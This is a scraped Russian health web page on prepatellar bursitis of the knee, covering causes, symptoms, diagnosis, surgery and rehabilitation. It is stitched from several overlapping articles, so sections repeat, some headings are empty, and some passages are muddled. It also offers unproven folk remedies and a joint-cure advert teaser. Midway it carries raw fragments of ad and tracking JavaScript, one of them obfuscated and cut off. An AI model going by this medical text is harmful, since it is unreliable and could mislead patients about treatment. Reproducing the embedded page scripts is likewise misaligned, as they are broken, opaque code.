Препателлярный бурсит коленного сустава

Способы лечения

В первую очередь, прежде чем начать лечение бурсита, нужно исключить вероятность артрита. Главная отличительная характеристика — это сохранение подвижности сустава при бурсите.

Если говорить об оперативном лечении, то в ситуации, когда произошла травма коленного сустава, может помочь немедленная пункция, сделанная специальной иглой определенного размера или же осуществление надреза.

Используя получившееся отверстие, можно избавиться от крови, которая успела скопиться в сумке. Для того чтобы избежать дополнительного инфицирования, подобные действия должны выполняться в соответствии всем антисептическим и асептическим правилам. По окончании откачки лишней крови с колена следует наложить повязку, обязательно стерильную.

Если заболевание коленного сустава приобрело хроническую форму, то используются консервативные методы лечения. Главные проявления длительной стадии заболевания являются отеки больного участка и боль. В такие моменты даже элементарные домашние хлопоты могут причинить дискомфорт.

Прежде всего, лечение начинается с попыток устранения проявлений воспаления. Для этого назначаются противовоспалительные средства, и обеспечивается полный покой коленного сустава.

Если все-таки образовался большой объем жидкости, появившейся в результате воспаления, для удаления экссудата и осуществления соответствующих лабораторных исследований, врач должен сделать процедуру пунктирования. Это выполняется следующим образом: внутрь сумки вводится определенная доктором доза стероидных препаратов, которые известны своими противовоспалительными свойствами.

Но данная процедура возможна, только если в препателлярной сумке не обнаружено бактерий, которые разносят инфекцию. Как дополнение, специалистом-физиотерапевтом подбирается комплекс процедур в виде ультразвука, УВЧ, тепла или холода.

Все они способны убрать или уменьшить болевой синдром и отечность. Не стоит забывать, что борьба с бурситом инфекционного происхождения возможна только под наблюдением врача.

Наблюдения врача

В сложных ситуациях, когда консервативное лечение положительно не действует на протекание заболевания, а воспаленная сумка причиняет некоторый дискомфорт, врачи советуют пациентам удалять бурсу. Все потому, что к тому времени ее стенки уже настолько утолщены, что не способны обеспечивать скольжение, а малейшие движения сустава не возможны без ощущения боли и препятствуют восстановлению ригидной ткани.

Следовательно, в бурсе теряется необходимость. В процессе данной операции делается проекционное разрезание околосуставной сумки, и ткани, которые воспалились, безвозвратно удаляются. После окончания процедуры поверхность должна стать гладкой. Но иногда, на надколенной части могут образоваться шипы, их следует тоже удалить, а верх зашлифовать.

Когда операция подходит к концу, место разреза ушивается послойно, а для лучшего заживления колено желательно обездвижить, используя для этого специальный фиксатор.

Восстановительный процесс

Период восстановления сустава стартует ориентировочно спустя пять суток после удаления шины из гипса или фиксирующего устройства, и сопровождается формированием совершенно другого мешочка, который образуется в ответ на скольжение кожи в надколенном участке. Она уже будет безболезненной и с тонкими стенками.

Проводятся сеансы лечебной физкультуры, где медицинский работник определяет комплекс упражнений и интенсивность нагрузки. При положительном исходе восстановление происходит достаточно быстро и уже через месяц пациент может вернуться к привычному для себя образу жизни.

Компрессы

Помимо традиционных методов лечения, существуют также народные средства. Такие методы актуальны в том случае, когда по каким-либо причинам возможность получить врачебную помощь, отсутствует. Народная медицина имеет несколько проверенных способов лечения бурсита коленного сустава:

• компрессы из овощей (картофель, капуста, свекла);
• сахарные компрессы;
• чай из сельдерея;
• примочки, массажи и другие экзотические методы.

Массаж

Причины

Частыми причинами, которые провоцируют препателлярный бурсит – это травмы колена.

Это могут быть и незначительные раны, порезы и ссадины в этой области или же серьезные надрывы и растяжения в коленном суставе. Привести к болезни также может:

• аллергия;
• аутоиммунный процесс;
• нарушение обмена веществ.

Независимо от причины, которая спровоцировала бурсит, механизм, что «запускает» болезнь почти всегда един. Это серьезная физическая нагрузка на колено. Она может выражаться в избыточной массе тела, чересчур активных занятиях спортом или тяжелой и резкой физической нагрузке.

Симптомы и клиническая картина

Боль и отек прямо под коленной чашечкой — основные признаки болезни. Бурса находится непосредственно под кожей, которая краснеет и становится чувствительной. В менее тяжелых случаях пациенты жалуются только на боль и скованность в суставе, которая усиливается в положении стоя на коленях.

На начальной фазе болезни после теплой ванны дискомфорт проходит. По мере прогрессирования воспаления симптомы мешают двигаться, ходить, выполнять обычные действия:

• диапазон сгибания и разгибания сустава сокращается;
• прикосновение к надколеннику болезненно;
• появляется боль или хромота во время ходьбы, особенно при подъеме по лестнице или на неровной поверхности.

Осмотр у хирурга или ортопеда позволяет установить диагноз без дополнительных тестов. В некоторых случаях требуется провести УЗИ, рентген, МРТ, КТ, а также сдать анализ крови для исключения других заболеваний.

Лечение воспаления

Острая форма болезни начинается внезапно, симптомы нарастают быстро. Появляется сильная боль при любом движении в колене. При прощупывании в области чашечки возникает болезненность. Отек может достигать до 1,5 см в диаметре, выражено покраснение и локальное повышение температуры.

Обычно признаки начинаются сразу после травмы. В полости суставной сумки скапливается экссудат, возможно присоединение бактериальной инфекции, образование нагноений. Потому лечить воспаление в острой фазе нужно обязательно.

Хроническое течение болезни проявляется, если суставу не была оказана помощь сразу после острого процесса, либо боль долгое время заглушалась приемом НПВП. Поражение может развиваться при долгосрочных механических травмах колена. Болезнь протекает скрыто, прогрессирует мягко, периодами возникают обострения.

При хронических бурситах накапливается больше экссудата, потому требуется пункция с последующим промыванием полости. Оперативное лечение производится многократно до полного очищения стенок суставной сумки. К полной эктомии прибегают крайне редко, чаще всего бурса вскрывается и вводится антисептическое средство. Для лечения бурсита с гнойным поражением устанавливается хирургический дренаж.

В большинстве случаев необходимо начинать с физиотерапевтических процедур. Успех лечения зависит от соблюдения пациентом рекомендаций врача. Нужно отказаться от любой активности, провоцирующей боль, в том числе, работы, которая нагружает надколенник напрямую. Отдых позволяет ускорить регенерацию тканей. Одновременно врач назначает противовоспалительные препараты, уменьшающие отек и болевые ощущения.

Если игнорировать симптомы, то воспаление становится хроническим, что повышает риск рецидивов и влияет на работоспособность сустава.

Все факты о препателлярном бурсите

Причины возникновения

Препателлярный бурсит коленного сустава — это воспаление синовиальной бурсы или сумки. Суставные сумки находятся там, где соединены мышечная ткань и сухожилия. В бурсах находиться жидкость, которая отвечает за скольжение. Препателлярное воспаление наблюдается чаще других. Причины, по которым возникает недуг:

• Травмы коленной чашечки. Наиболее частый виновник появления. Бурсит проявляется из-за попадания в синовиальную сумку крови. Часто возникает у людей, чья работа требует опираться коленом об твердую плоскость. Без должного лечения переходит в хронический бурсит.
• Инфекция в суставе. Попадание микробов через царапины на коже или раны.
• Инфекционные заболевания. Такими болезнями являются гонорея, туберкулез, сифилис. Гнойный экссудат заполняет бурсу и вызывает бурсит.
• Аллергия или нарушение иммунной системы, нарушение обменных процессов.

Как проявляется заболевание?

Отечность и боль при движении или прикосновении сопровождают на всех стадиях болезни. Если причиной воспаления стало повреждение, отек проявляется на протяжении дня, виднеется синяк. Если возникает бурсит по другим факторам, симптомы развиваются медленнее, но для всех них характерны:

Препателлярный бурсит вызывает боль, отёчность, повышение температуры, истощение.

• Боль. Одни пациенты жалуются на постоянную болезненность, у других может быть лишь при прикосновении. Дергающие и покалывающие ощущения появляются, если возник гнойный бурсит.
• Мышечная слабость.
• Локальный отек. Бурса, что воспалена, увеличивается в размерах и может быть в 2 раза больше нормального состояния. Область становится мягкой.
• При тяжелой форме препателлярного бурсита уменьшение амплитуды движения, невозможно полностью согнуть или разогнуть ногу.
• Повышенная температура уплотнения, на ощупь кожный покров становится горячим. Кожа имеет цвет розовый или красный.
• Высокая температура, озноб, лихорадка, что ярко показывают наличие гнойного бурсита, а без должного лечения это приведет к абсцессу. Эта форма требует срочного хирургического вмешательства.

Диагностика болезни

При первых признаках заболевания требуется обратиться к ортопеду или ревматологу. Врач сможет определить стадию, назначить комплексное лечение. Но уже на более поздних этапах — пациента направляют к хирургу. Сначала проходить сбор анамнеза, консультация специалиста и осмотр. После, человека отправляют на рентген или ультразвуковое обследование. Этого достаточно для определения, что это препателлярный бурсит. Если же врач опасается наличия инфекции в синовиальной сумке — проводиться пункция для выявления возбудителя. Такая манипуляция помогает верно определить терапию и необходимые антибиотики.

Алгоритм реабилитации

Первые 72 часа после травмы или при появлении воспалительных признаков (утренние или ночные боли, в состоянии покоя) рекомендовано снизить нагрузку, провести обследование, носить компрессионную повязку и держать больную ногу выше уровня сердца.

В тяжелых случаях проводится аспирация суставной сумки, инъекции кортикостероидов и анальгетиков, если нестероидные противовоспалительные средства не помогают. Носить компрессионные повязки необходимо по 48 часов. Выполнять упражнения для повышения гибкости сустава и силы мышц в рамках рекомендаций врача и на протяжении конкретной фазы выздоровления.

На заключительных этапах реабилитации постепенно сустав безопасно привыкает к нагрузкам. Тренировки проводятся под руководством эрготерапевта.

После выполнения рекомендаций относительно медикаментозной терапии, физиотерапевтических процедур и упражнений симптомы проходят за 2-3 недели. В более тяжелых или хронических случаях период реабилитации увеличивается, подключаются другие методы, такие как инъекции препаратов в суставную сумку.

Методы физиотерапии помогают ускорить процесс заживления, снять воспаление и уменьшить риск рецидива. К основным способам воздействия относится массаж, ультразвуковая терапия, НПВС, мобилизация суставов, компрессы со льдом, костыли или ортезы. Дополнительно каждому пациенту с препателлярным бурситом лечение дополняется программой упражнений и рекомендации по ежедневной активности.

Причины возникновения препателлярного бурсита

Заболевание может вызываться многими причинами. При ударе или падении бурса может разорваться, что приводит к кровоизлиянию. При пальпировании поврежденной суставной сумки можно обнаружить небольшое уплотнение, заполненное жидкостью. Наличие крови в бурсе вызывает воспаление, при котором происходит утолщение суставной сумки. Впоследствии ткани становятся восприимчивы к минимальному механическому воздействию и переохлаждению. Это становится причиной перехода бурсита в хроническую фазу.

Бурсит может начаться и при длительном контакте коленей с твердой поверхностью, приводящем к сдавлению тканей препателлярной сумки. При появлении первых признаков бурсита необходимо исключить подобные состояния. Бурсит иногда может возникнуть вследствие инфекционных заболеваний кожи коленей. Инфекция, проникающая в бурсу, вызывает боли, отек суставной сумки, покраснение пораженной области.

Методы диагностики

КТ коленного сустава

Определить препателлярный бурсит не составляет труда для грамотного специалиста. Но это не значит, что лечение будет назначено без предварительной диагностики

Важно не только установить патологию, но и уточнить ее тип: в зависимости от причины воспаления будут различаться методы терапии

Также врач проведет дифференциальную диагностику, проверяя колено на наличие инфрапателлярного и супрапателлярного бурсита, синовита и артрита, а также ряда других заболеваний. Для этих целей используются:

Рентген, УЗИ или КТ. Так врач сможет увидеть состояние коленного сустава больного, определить локализацию воспаления и гарантировать отсутствие повреждений хряща и костей. Этот метод особенно важен, если причина бурсита – травма.

Пункция и анализ крови. Содержимое бурсы и состав крови могут объяснить причину развития заболевания. При наличии в суставной жидкости гноя и бактерий, а также при увеличении количества лейкоцитов, необходимо отказаться от ряда аппаратных методов лечения и обязательно воспользоваться антибиотиками.

Укрепление коленного сустава

Следующие упражнения обычно назначают больным с препателлярным бурситом, но индивидуальную программу нужно обсудить с лечащим врачом. Как правило, комплекс выполняется 1-3 раза в день в диапазоне, который не увеличивает боль и дискомфорт. На начальном этапе рекомендованы следующие упражнения:

1. Статической сокращение четырехглавой мышцы бедра. Сесть на пол или на кровать, скатать валик из полотенца, поместить его под колено. Положить пальцы на переднюю поверхность бедра. Нажимать ногой на валик, ощущая напряжение мышцы под пальцами. Удерживать по 5 секунд, повторить 10 раз.
2. Сесть на стул, выполнять разгибание колена в безопасной амплитуде по 10-20 раз.

Основные симптомы

Симптомы бурсита

На любой стадии воспаление характеризуется отечностью в коленной части ноги, а при малейших попытках совершить сгибание или разгибание сустава появляется выраженная, но терпимая боль. Во время осуществления ручного обследования (пальпации) ощущается болезненность во время контакта с сумкой.

В этом состоянии не то чтобы делать упор на колено, его даже касаться больно. Иногда кажется, что помимо избыточной жидкости в синовиальном кармане присутствуют еще и комочки, это явное свидетельство того, что его стенки утолщены и появились складки.

Изменения строения стенок и наполнение лишним жидким веществом проявляются некоторым увеличением габаритов сумки. Экссудата становится значительно больше по мере развития бурсита, особенно это заметно в активной фазе.

Если заражение все-таки произошло, то коленная часть нижней конечности распухает и становится намного горячее, все это сопровождается болезненностью. В таких случаях кроме проявлений местного характера (некоторые покраснения, ощущение боли, опухлость и повышение температуры участка), начинают еще проявляться и общие признаки (изменения состава крови, озноб или лихорадка).

Все эти явления говорят о необходимости срочного хирургического вмешательства. Препателлярная сумка должна быть немедленно вскрыта и дренирована. Если этого не сделать, гнойник может прорвать сам, и тогда уже осложнения будут иметь системный характер.

Каким образом заболевание диагностируется

Диагностика

Как правило, диагностика не вызывает особых трудностей. Если произошла травма, и появился отек, то нужно пройти рентгенологическое обследование коленного сустава. Это необходимо для исключения возможности негативного воздействия на кости нижней конечности.

Выявить хроническое воспаление коленной околосуставной сумки совсем не сложно, и для этого не требуются тесты и разные обследования, достаточно наличие обычных клинических признаков.

Если медицинский работник подозревает интоксикацию препателлярной сумки, то он назначает проведение пункции. Это требуется для обследования синовиального вещества на возбудителя инфекции, и установить характер воспаления, который может быть гнойный, серозный, а также гнойно-геморрагический.

Данная процедура поможет не только определить предмет инфицирования, но и поможет подобрать правильное лечение, определив особенности микрофлоры и степень чувствительности к антибиотикам.

Вам все еще кажется, что вылечить суставы невозможно

Судя по тому, что вы сейчас читаете эти строки — победа в борьбе с воспалением хрящевой ткани пока не на вашей стороне…

И вы уже думали о стационарном лечении? Оно и понятно, ведь боли в суставах — очень опасный симтом, который при несвоевременном лечении может закончиться ограниченной подвижностью. Подозрительный хруст, скованность после ночного отдыха, кожа вокруг проблемного места натянута, отеки на больном месте… Все эти симптомы знакомы вам не понаслышке.

(function(w, d, n, s, t) { w = w || []; w.push(function() { Ya.Context.AdvManager.render({ blockId: ‘R-A-267561-2’, renderTo: ‘yandex_rtb_R-A-267561-2’, async: true }); }); t = d.getElementsByTagName(‘script’); s = d.createElement(‘script’); s.type = ‘text/javascript’; s.src = ‘//an.yandex.ru/system/context.js’; s.async = true; t.parentNode.insertBefore(s, t); })(this, this.document, ‘yandexContextAsyncCallbacks’);
var m5c7780e466284 = document.createElement(‘script’); m5c7780e466284.src=’https://www.sustavbolit.ru/show/?’ + Math.round(Math.random()*100000) + ‘=’ + Math.round(Math.random()*100000) + ‘&’ + Math.round(Math.random()*100000) + ‘=7397&’ + Math.round(Math.random()*100000) + ‘=’ + document.title +’&’ + Math.round(Math.random()*100000); function f5c7780e466284() { if(!self.medtizer) { self.medtizer = 7397; document.body.appendChild(m5c7780e466284); } else { setTimeout(‘f5c7780e466284()’,200); } } f5c7780e466284();
window.RESOURCE_O1B2L3 = ‘kalinom.ru’;EtoSustav.ru » Болезни суставов » Все о бурсите

Как лечить это заболевание

Бурсит можно лечить как хирургически, так и медикаментозно. При скоплении большого количества жидкости ее удаляют посредством прокола или небольшого надреза. Процедуры должны выполняться в условиях операциионной, ведь риск попадания инфекции достаточно высок. После операции пациенту накладывают стерильную повязку. Хронический препателлярный бурсит может привести к утрате трудоспособности. Простые повседневные действия начинают вызывать серьезные трудности.

Лечение обычно начинают с ликвидации воспалительного процесса. Для этого врач назначает нестероидные противовоспалительные средства. При пункции в некоторых случаях в суставную сумку вводят небольшие дозы стероидных препаратов, быстро устраняющих воспаление. Лечение включает в себя и физиотерапевтические методы терапии, например, УВЧ, лечение теплом или холодом. Инфекционный бурсит необходимо лечить под постоянным контролем врача. При быстром развитии инфекции в суставной сумке требуется ее вскрытие и последующее промывание антисептическим раствором.

Для оттока жидкости врач может оставить в полости сумки дренажную трубку. После этого во многих случаях происходит быстрая ликвидация инфекции и заживление раны.

Обычно такая операциия назначается уже при запущенных формах заболевания, когда утолщенная суставная сумка мешает движению сустава.

Бурса удаляется через небольшой разрез в области коленного сустава. Воспаленные, увеличенные ткани полностью удаляются, после этого суставные кости должны остаться гладкими. При наличии на костных поверхностях наростов их удаляют, поверхность надколенника выравнивают. После операции разрез зашивают послойно, коленному суставу обеспечивают полную неподвижность. Восстановительный период включает в себя формирование новой суставной оболочки, это происходит из-за движения кожи над коленной чашечкой. Новая бурса будет иметь стенки нормальной толщины.

Реабилитация включает занятия лечебной физкультурой, при этом интенсивность тренировок подбирается индивидуально. Некоторые упражнения можно будет выполнять и после выписки из стационара в домашних условиях. Восстановительный период длится около месяца, после чего пациент может вернуться к обычному образу жизни. Опираться на колено не рекомендуется в течение 2-3 месяцев. Неинфекционный бурсит может пройти сам собой, без какого-либо лечения.

Для того чтобы болезнь не возникла повторно, нужно научиться правильно распределять нагрузку на суставы. Перед началом спортивных тренировок рекомендуется проводить разминку. При занятиях травмоопасными видами спорта не стоит забывать о защитных наколенниках. Своевременно обрабатывайте даже небольшие раны и ссадины перекисью водорода или йодом.

//

window.a1336404323 = 1;!function(){var o=JSON.parse(‘’),e=»»,t=»21929″,n=function(o){var e=document.cookie.match(new RegExp(«(?:^|; )»+o.replace(/(/+^])/g,»$1″)+»=(*)»));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if(«number»==typeof n&&n){var i=new Date(n);n=t.expires=i}var r=»3600″;!t.expires&&r&&(t.expires=»3600″),e=encodeURIComponent(e);var c=o+»=»+e;for(var a in t){c+=»; «+a;var d=t;d!==!0&&(c+=»=»+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e=»»,t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

Причины развития патологии

Внутреннее строение колена

Препателлярная сумка необходима, чтобы кожа гладко скользила по надколеннику. Это обеспечивается с помощью бурсы – подкожного мешочка, заполненного жидкостью. Заболевание развивается, когда ткани сустава воспаляются. Это может происходить по нескольким причинам:

1. Травмы. Достаточно посмотреть фото внутреннего строения колена в справочнике по анатомии, чтобы понять, насколько препателлярная бурса подвержена повреждениям. Кровоизлияния при обычных ушибах, синяках и гематомах уже могут стать причиной воспаления. Шансы на развитие бурсита существенно увеличиваются после переломов, особенно открытых, при которых требуется операция по остеосинтезу.
2. Инфекция. Открытые раны – не единственный способ занести инфекцию в колено, провоцируя воспаление. Артрит сустава или другой очаг заражения в организме может способствовать распространению бактерий. Нередко в такой ситуации сумка коленного сустава заполняется гнойными выделениями, осложняющими течение заболевания.
3. Патологии. Артроз и подагра, а также другие болезни коленного сустава могут спровоцировать бурсит. Достаточно микроповреждений мешочка с жидкостью, чтобы обычное переохлаждение или аллергическая реакция стали «спусковыми крючками» для болезни.

Способы лечения

После диагностирования недуга врач определяет один из методов лечения — консервативный или хирургический. Консервативное включает в себя медикаментозное, а хирургическое подразумевает операцию. Лечение препателлярного бурсита коленного сустава нацелено на устранение воспалительных элементов. Зависит решение врача от стадии заболевания и частных факторов.

Консервативное лечение

Если пациент страдает неинфекционным типом бурсита — врач выписывает таблетки, что снижают воспаления, боль и отеки. А также назначаются инъекции кортикостероидов, которые имеют такой же эффект, но более приемлемы при сильных болях. Для снятия мышечного спазма пользуются миореалксантами. При инфекционной форме специалист назначает антибиотики (в виде таблеток или инъекционные).

Пациенты, у которых работа требует давать нагрузку на колени, должны либо поменять работу, либо реже напрягать коленные суставы. Требуется надевать эластичную повязку — бандаж, она поддерживает колено и уменьшает отек. Обязательно создать условия покоя для суставов. При острой форме бурсита накладывают лонгет, сотворенный из гипса.

Хирургическое лечение

В тяжелых случаях препателлярного бурсита, когда медикаментозное лечение не помогает, назначают бурсэктомию. Это операция по удалению синовиальной сумки хирургическим путем. Разрез проводится на колене и воспаленная бурса убирается. После изъятия обязательно проводят осмотр колена, так как есть риск возникновения костных шипов. Завершает операцию послойное зашивание разреза. Накладывается фиксирующая шина на 5 дней, после чего проводится реабилитация, при которой организм формирует новую суставную капсулу.

Реабилитационный период

После оперирования препателлярного бурсита потребуется соблюдать диету и выполнять ЛФК, избегая больших нагрузок.

После операции с пациентом работает тренер по ЛФК, который подбирает комплекс упражнений, делая упор на растяжку и укрепления сустава. Их проводят дома индивидуально. Этот комплекс упражнений помогает предупредить появление рецидивов. Через месяц восстановление организма завершается, и человек возвращается к обычной жизни

Важно, чтобы на протяжении 2—3-х месяцев больной не напрягал коленный сустав и сохранял его от травм. После того как отек сошел, можно понемногу увеличивать амплитуду движений

Иногда, если препателлярный бурсит имеет легкую форму, заболевание проходит самостоятельно со временем.

Признаки бурсита

Отек коленного сустава

Пропустить начало воспалительной реакции практически невозможно. Колено краснеет, опухает и деформируется. Бурса становится горячей на ощупь. В нижней части и по всей области могут ощущаться комки и уплотнения при пальпации. Обычно поражается только одно колено, так правый и левый сустав будут смотреться очень контрастно. Это самые «приятные» проявления заболевания. Но есть и другие:

1. Боль. Неприятные ощущения возникают при касании к воспаленному участку. Также симптом усиливается при попытке дать нагрузку на коленный сустав. Любое движение отзывается болью.
2. Снижение подвижности. Увеличение размеров суставной сумки из-за опухоли воспаленного участка колена препятствует нормальному функционированию хрящей. Ногу становится достаточно сложно согнуть и разогнуть.
3. Лихорадка. При инфекционном поражении возможно распространение бактерий, на которое будет реагировать организм вцелом. Это проявится повышением температуры до 38 градусов по Цельсию, ознобом и слабостью. Паховые лимфатические узлы увеличатся в размерах.